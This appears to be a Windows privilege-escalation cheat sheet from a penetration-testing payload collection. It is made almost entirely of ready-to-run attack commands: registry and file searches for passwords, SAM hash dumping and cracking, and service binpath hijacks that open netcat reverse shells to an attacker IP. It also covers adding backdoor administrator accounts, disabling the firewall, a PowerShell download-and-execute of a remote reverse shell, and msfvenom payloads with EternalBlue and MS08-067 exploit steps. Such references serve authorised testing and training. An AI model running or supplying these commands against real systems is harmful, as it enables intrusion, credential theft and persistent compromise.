38 KiB
Windows - Privilege Escalation
Summary
- Tools
- Windows Version and Configuration
- User Enumeration
- Network Enumeration
- EoP - Looting for passwords
- EoP - Processes Enumeration and Tasks
- EoP - Incorrect permissions in services
- EoP - Windows Subsystem for Linux (WSL)
- EoP - Unquoted Service Paths
- EoP - Kernel Exploitation
- EoP - AlwaysInstallElevated
- EoP - Insecure GUI apps
- EoP - Runas
- EoP - From local administrator to NT SYSTEM
- EoP - Living Off The Land Binaries and Scripts
- EoP - Impersonation Privileges
- EoP - Common Vulnerabilities and Exposures
- References
Tools
- PowerSploit's PowerUp
powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
- Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock
- (Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1
- BeRoot - Privilege Escalation Project - Windows / Linux / Mac
- Windows-Exploit-Suggester
./windows-exploit-suggester.py --update ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt
- windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems
- WindowsExploits - Windows exploits, mostly precompiled. Not being updated.
- WindowsEnum - A Powershell Privilege Escalation Enumeration Script.
- Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.
- Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind
- JAWS - Just Another Windows (Enum) Script
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
Windows Version and Configuration
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
Extract patchs and updates
wmic qfe
Architecture
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
List all env variables
set
Get-ChildItem Env: | ft Key,Value
List all drives
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
User Enumeration
Get current username
echo %USERNAME% || whoami
$env:username
List user privilege
whoami /priv
List all users
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
List logon requirements; useable for bruteforcing
net accounts
Get details about a user (i.e. administrator, admin, current user)
net user administrator
net user admin
net user %USERNAME%
List all local groups
net localgroup
Get-LocalGroup | ft Name
Get details about a group (i.e. administrators)
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
Network Enumeration
List all network interfaces, IP, and DNS.
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
List current routing table
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
List the ARP table
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
List all current connections
netstat -ano
List firewall state and current configuration
netsh advfirewall firewall dump
or
netsh firewall show state
netsh firewall show config
List firewall's blocked ports
$f=New-object -comObject HNetCfg.FwPolicy2;$f.rules | where {$_.action -eq "0"} | select name,applicationname,localports
Disable firewall
netsh firewall set opmode disable
netsh advfirewall set allprofiles state off
List all network shares
net share
SNMP Configuration
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
EoP - Looting for passwords
SAM and SYSTEM files
The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
Generate a hash file for John using pwdump
or samdump2
.
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
Then crack it with john -format=NT /root/sam.txt
.
Search for file contents
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*
Search for a file with a certain filename
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
Search the registry for key names and passwords
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
Read a value of a certain sub key
REG QUERY "HKLM\Software\Microsoft\FTH" /V RuleList
Passwords in unattend.xml
Location of the unattend.xml files.
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
Display the content of these files with dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
.
Example content
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>
<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>
Unattend credentials are stored in base64 and can be decoded manually with base64.
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo=" | base64 -d
SecretSecurePassword1234*
The Metasploit module post/windows/gather/enum_unattend
looks for these files.
IIS Web config
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
Other files
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
Wifi passwords
Find AP SSID
netsh wlan show profile
Get Cleartext Pass
netsh wlan show profile <SSID> key=clear
Oneliner method to extract wifi passwords from all the access point.
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
Passwords stored in services
Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using SessionGopher
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
Powershell history
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
EoP - Processes Enumeration and Tasks
What processes are running?
tasklist /v
net start
sc query
Get-Service
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
Which processes are running as "system"
tasklist /v /fi "username eq system"
Do you have powershell magic?
REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
List installed programs
Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
List services
net start
wmic service list brief
tasklist /SVC
Scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
Startup tasks
wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
EoP - Incorrect permissions in services
A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.
Often, services are pointing to writeable locations:
- Orphaned installs, not installed anymore but still exist in startup
- DLL Hijacking
- PATH directories with weak permissions
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
$ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
Alternatively you can use the Metasploit exploit : exploit/windows/local/service_permissions
Note to check file permissions you can use cacls
and icacls
icacls (Windows Vista +)
cacls (Windows XP)
You are looking for BUILTIN\Users:(F)
(Full access), BUILTIN\Users:(M)
(Modify access) or BUILTIN\Users:(W)
(Write-only access) in the output.
Example with Windows 10 - CVE-2019-1322 UsoSvc
Prerequisite: Service account
PS C:\Windows\system32> sc.exe stop UsoSvc
PS C:\Windows\system32> sc.exe config UsoSvc binPath="cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\a.txt"
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: usosvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Update Orchestrator Service
DEPENDENCIES : rpcss
SERVICE_START_NAME : LocalSystem
PS C:\Windows\system32> sc.exe start UsoSvc
Example with Windows XP SP1 - upnphost
# NOTE: spaces are mandatory for this exploit to work !
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost
If it fails because of a missing dependency, try the following commands.
sc config SSDPSRV start=auto
net start SSDPSRV
net stop upnphost
net start upnphost
sc config upnphost depend=""
Using accesschk
from Sysinternals or accesschk-XP.exe - github.com/phackt
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
RW SSDPSRV
SERVICE_ALL_ACCESS
RW upnphost
SERVICE_ALL_ACCESS
$ accesschk.exe -ucqv upnphost
upnphost
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
RW BUILTIN\Power Users
SERVICE_ALL_ACCESS
$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"
$ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
$ sc stop <vuln-service>
$ sc start <vuln-service>
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>
EoP - Windows Subsystem for Linux (WSL)
Technique borrowed from Warlockobama's tweet
With root privileges Windows Subsystem for Linux (WSL) allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ .exe --default-user root. Now start your bind shell or reverse.
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
Binary bash.exe
can also be found in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe
Alternatively you can explore the WSL
filesystem in the folder C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\
EoP - Unquoted Service Paths
The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
Metasploit provides the exploit : exploit/windows/local/trusted_service_path
Example
For C:\Program Files\something\legit.exe
, Windows will try the following paths first:
C:\Program.exe
C:\Program Files.exe
EoP - Kernel Exploitation
List of exploits kernel : https://github.com/SecWiki/windows-kernel-exploits
#Security Bulletin #KB #Description #Operating System
- MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8)
- CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008)
- CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008)
- CVE-2018-0833 [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2)
- CVE-2018-8120 [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1)
- MS17-010 [KB4013389] [Windows Kernel Mode Drivers] (windows 7/2008/2003/XP)
- MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016)
- MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1)
- MS16-098 [KB3178466] [Kernel Driver] (Win 8.1)
- MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012)
- MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012)
- MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012)
- MS16-016 [KB3136041] [WebDAV] (2008/Vista/7)
- MS16-014 [K3134228] [remote code execution] (2008/Vista/7)
... - MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
To cross compile a program from Kali, use the following command.
Kali> i586-mingw32msvc-gcc -o adduser.exe useradd.c
EoP - AlwaysInstallElevated
Check if these registry values are set to "1".
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Then create an MSI package and install it.
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
$ msiexec /quiet /qn /i C:\evil.msi
Technique also available in Metasploit : exploit/windows/local/always_install_elevated
EoP - Insecure GUI apps
Application running as SYSTEM allowing an user to spawn a CMD, or browse directories.
Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt"
EoP - Runas
Use the cmdkey
to list the stored credentials on the machine.
cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator
Then you can use runas
with the /savecred
options in order to use the saved credentials.
The following example is calling a remote binary via an SMB share.
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"
Using runas
with a provided set of credential.
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"
$ secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$ mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$ computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycreds.Username, $mycreds.Password, $computer)
EoP - From local administrator to NT SYSTEM
PsExec.exe -i -s cmd.exe
EoP - Living Off The Land Binaries and Scripts
Living Off The Land Binaries and Scripts (and also Libraries) : https://lolbas-project.github.io/
The goal of the LOLBAS project is to document every binary, script, and library that can be used for Living Off The Land techniques.
A LOLBin/Lib/Script must:
- Be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra "unexpected" functionality. It is not interesting to document intended use cases. Exceptions are application whitelisting bypasses
- Have functionality that would be useful to an APT or red team
wmic.exe process call create calc
regsvr32 /s /n /u /i:http://example.com/file.sct scrobj.dll
Microsoft.Workflow.Compiler.exe tests.xml results.xml
EoP - Impersonation Privileges
Full privileges cheatsheet at https://github.com/gtworek/Priv2Admin, summary below will only list direct ways to exploit the privilege to obtain an admin session or read sensitive files.
Privilege | Impact | Tool | Execution path | Remarks |
---|---|---|---|---|
SeAssignPrimaryToken |
Admin | 3rd party tool | "It would allow a user to impersonate tokens and privesc to nt system using tools such as potato.exe, rottenpotato.exe and juicypotato.exe" | Thank you Aurélien Chalot for the update. I will try to re-phrase it to something more recipe-like soon. |
SeBackup |
Threat | Built-in commands | Read sensitve files with robocopy /b |
- May be more interesting if you can read %WINDIR%\MEMORY.DMP - SeBackupPrivilege (and robocopy) is not helpful when it comes to open files.- Robocopy requires both SeBackup and SeRestore to work with /b parameter. |
SeCreateToken |
Admin | 3rd party tool | Create arbitrary token including local admin rights with NtCreateToken . |
|
SeDebug |
Admin | PowerShell | Duplicate the lsass.exe token. |
Script to be found at FuzzySecurity |
SeLoadDriver |
Admin | 3rd party tool | 1. Load buggy kernel driver such as szkg64.sys 2. Exploit the driver vulnerability Alternatively, the privilege may be used to unload security-related drivers with ftlMC builtin command. i.e.: fltMC sysmondrv |
1. The szkg64 vulnerability is listed as CVE-2018-157322. The szkg64 exploit code was created by Parvez Anwar |
SeRestore |
Admin | PowerShell | 1. Launch PowerShell/ISE with the SeRestore privilege present. 2. Enable the privilege with Enable-SeRestorePrivilege). 3. Rename utilman.exe to utilman.old 4. Rename cmd.exe to utilman.exe 5. Lock the console and press Win+U |
Attack may be detected by some AV software. Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
SeTakeOwnership |
Admin | Built-in commands | 1. takeown.exe /f "%windir%\system32" 2. icalcs.exe "%windir%\system32" /grant "%username%":F 3. Rename cmd.exe to utilman.exe 4. Lock the console and press Win+U |
Attack may be detected by some AV software. Alternative method relies on replacing service binaries stored in "Program Files" using the same privilege. |
SeTcb |
Admin | 3rd party tool | Manipulate tokens to have local admin rights included. May require SeImpersonate. To be verified. |
Meterpreter getsystem and alternatives
meterpreter> getsystem
Tokenvator.exe getsystem cmd.exe
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
psexec -s -i cmd.exe
python getsystem.py # from https://github.com/sailay1996/tokenx_privEsc
RottenPotato (Token Impersonation)
Binary available at : https://github.com/foxglovesec/RottenPotato Binary available at : https://github.com/breenmachine/RottenPotatoNG
getuid
getprivs
use incognito
list\_tokens -u
cd c:\temp\
execute -Hc -f ./rot.exe
impersonate\_token "NT AUTHORITY\SYSTEM"
Invoke-TokenManipulation -ImpersonateUser -Username "lab\domainadminuser"
Invoke-TokenManipulation -ImpersonateUser -Username "NT AUTHORITY\SYSTEM"
Get-Process wininit | Invoke-TokenManipulation -CreateProcess "Powershell.exe -nop -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://10.7.253.6:82/Invoke-PowerShellTcp.ps1');\"};"
Juicy Potato (abusing the golden privileges)
Binary available at : https://github.com/ohpe/juicy-potato/releases
⚠️ Juicy Potato doesn't work on Windows Server 2019 and Windows 10 1809.
-
Check the privileges of the service account, you should look for SeImpersonate and/or SeAssignPrimaryToken (Impersonate a client after authentication)
whoami /priv
-
Select a CLSID based on your Windows version, a CLSID is a globally unique identifier that identifies a COM class object
-
Execute JuicyPotato to run a privileged command.
JuicyPotato.exe -l 9999 -p c:\interpub\wwwroot\upload\nc.exe -a "IP PORT -e cmd.exe" -t t -c {B91D5831-B1BD-4608-8198-D72E155020F7} JuicyPotato.exe -l 1340 -p C:\users\User\rev.bat -t * -c {e60687f7-01a1-40aa-86ac-db1cbf673334} JuicyPotato.exe -l 1337 -p c:\Windows\System32\cmd.exe -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} -a "/c c:\users\User\reverse_shell.exe" Testing {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4} 1337 ...... [+] authresult 0 {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK
EoP - Common Vulnerabilities and Exposure
MS08-067 (NetAPI)
Check the vulnerability with the following nmap script.
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms08-067 <ip_netblock>
Metasploit modules to exploit MS08-067 NetAPI
.
exploit/windows/smb/ms08_067_netapi
If you can't use Metasploit and only want a reverse shell.
https://raw.githubusercontent.com/jivoi/pentest/master/exploit_win/ms08-067.py
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f py -v shellcode -a x86 --platform windows
Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445
Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)
Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal
Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English
Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)
Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)
Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
python ms08-067.py 10.0.0.1 6 445
MS10-015 (KiTrap0D) - Microsoft Windows NT/2000/2003/2008/XP/Vista/7
'KiTrap0D' User Mode to Ring Escalation (MS10-015)
https://www.exploit-db.com/exploits/11199
Metasploit : exploit/windows/local/ms10_015_kitrap0d
MS11-080 (afd.sys) - Microsoft Windows XP/2003
Python: https://www.exploit-db.com/exploits/18176
Metasploit: exploit/windows/local/ms11_080_afdjoinleaf
MS15-051 (Client Copy Image) - Microsoft Windows 2003/2008/7/8/2012
printf("[#] usage: ms15-051 command \n");
printf("[#] eg: ms15-051 \"whoami /all\" \n");
# x32
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/Win32/ms15-051.exe
# x64
https://github.com/rootphantomer/exp/raw/master/ms15-051%EF%BC%88%E4%BF%AE%E6%94%B9%E7%89%88%EF%BC%89/ms15-051/ms15-051/x64/ms15-051.exe
https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051
use exploit/windows/local/ms15_051_client_copy_image
MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64)
Check if the patch is installed : wmic qfe list | findstr "3139914"
Powershell:
https://www.exploit-db.com/exploits/39719/
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
Binary exe : https://github.com/Meatballs1/ms16-032
Metasploit : exploit/windows/local/ms16_032_secondary_logon_handle_privesc
MS17-010 (Eternal Blue)
Check the vulnerability with the following nmap script.
nmap -Pn -p445 --open --max-hostgroup 3 --script smb-vuln-ms17–010 <ip_netblock>
Metasploit modules to exploit EternalRomance/EternalSynergy/EternalChampion
.
auxiliary/admin/smb/ms17_010_command MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
auxiliary/scanner/smb/smb_ms17_010 MS17-010 SMB RCE Detection
exploit/windows/smb/ms17_010_eternalblue MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
exploit/windows/smb/ms17_010_eternalblue_win8 MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
exploit/windows/smb/ms17_010_psexec MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
If you can't use Metasploit and only want a reverse shell.
git clone https://github.com/helviojunior/MS17-010
# generate a simple reverse shell to use
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=443 EXITFUNC=thread -f exe -a x86 --platform windows -o revshell.exe
python2 send_and_execute.py 10.0.0.1 revshell.exe
CVE-2019-1388
Exploit : https://packetstormsecurity.com/files/14437/hhupd.exe.html
Working on :
- Windows 7
- Windows 10 LTSC 10240
Failing on :
- LTSC 2019
- 1709
- 1803
Detailed information about the vulnerability : https://www.zerodayinitiative.com/blog/2019/11/19/thanksgiving-treat-easy-as-pie-windows-7-secure-desktop-escalation-of-privilege
References
- Windows Internals Book - 02/07/2017
- icacls - Docs Microsoft
- Privilege Escalation Windows - Philip Linghammar
- Windows elevation of privileges - Guifre Ruiz
- The Open Source Windows Privilege Escalation Cheat Sheet by amAK.xyz and @xxByte
- Basic Linux Privilege Escalation
- Windows Privilege Escalation Fundamentals
- TOP–10 ways to boost your privileges in Windows systems - hackmag
- The SYSTEM Challenge
- Windows Privilege Escalation Guide - absolomb's security blog
- Chapter 4 - Windows Post-Exploitation - 2 Nov 2017 - dostoevskylabs
- Remediation for Microsoft Windows Unquoted Service Path Enumeration Vulnerability - September 18th, 2016 - Robert Russell
- Pentestlab.blog - WPE-01 - Stored Credentials
- Pentestlab.blog - WPE-02 - Windows Kernel
- Pentestlab.blog - WPE-03 - DLL Injection
- Pentestlab.blog - WPE-04 - Weak Service Permissions
- Pentestlab.blog - WPE-05 - DLL Hijacking
- Pentestlab.blog - WPE-06 - Hot Potato
- Pentestlab.blog - WPE-07 - Group Policy Preferences
- Pentestlab.blog - WPE-08 - Unquoted Service Path
- Pentestlab.blog - WPE-09 - Always Install Elevated
- Pentestlab.blog - WPE-10 - Token Manipulation
- Pentestlab.blog - WPE-11 - Secondary Logon Handle
- Pentestlab.blog - WPE-12 - Insecure Registry Permissions
- Pentestlab.blog - WPE-13 - Intel SYSRET
- Alternative methods of becoming SYSTEM - 20th November 2017 - Adam Chester @xpn
- Living Off The Land Binaries and Scripts (and now also Libraries)
- Common Windows Misconfiguration: Services - 2018-09-23 - @am0nsec